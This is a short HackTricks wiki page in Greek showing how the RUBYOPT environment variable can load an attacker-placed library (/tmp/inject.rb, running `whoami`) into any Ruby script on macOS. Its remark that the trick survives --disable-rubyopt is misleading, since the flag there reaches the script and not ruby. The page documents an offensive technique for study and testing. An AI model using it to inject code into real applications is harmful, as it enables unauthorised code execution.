macOS Ruby Applications Injection

Reading time: 2 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

RUBYOPT

Χρησιμοποιώντας αυτήν την μεταβλητή περιβάλλοντος είναι δυνατόν να προσθέσετε νέες παραμέτρους στη ruby όποτε εκτελείται. Αν και η παράμετρος -e δεν μπορεί να χρησιμοποιηθεί για να καθορίσει τον κώδικα ruby προς εκτέλεση, είναι δυνατόν να χρησιμοποιηθούν οι παράμετροι -I και -r για να προστεθεί ένας νέος φάκελος στη διαδρομή φόρτωσης βιβλιοθηκών και στη συνέχεια να καθορίσετε μια βιβλιοθήκη για φόρτωση.

Δημιουργήστε τη βιβλιοθήκη inject.rb στο /tmp:

inject.rb
puts `whoami`

Δημιουργήστε οπουδήποτε ένα σενάριο ruby όπως:

hello.rb
puts 'Hello, World!'

Στη συνέχεια, κάντε ένα αυθαίρετο σενάριο ruby να το φορτώσει με:

bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb

Διασκεδαστικό γεγονός, λειτουργεί ακόμη και με την παράμετρο --disable-rubyopt:

bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks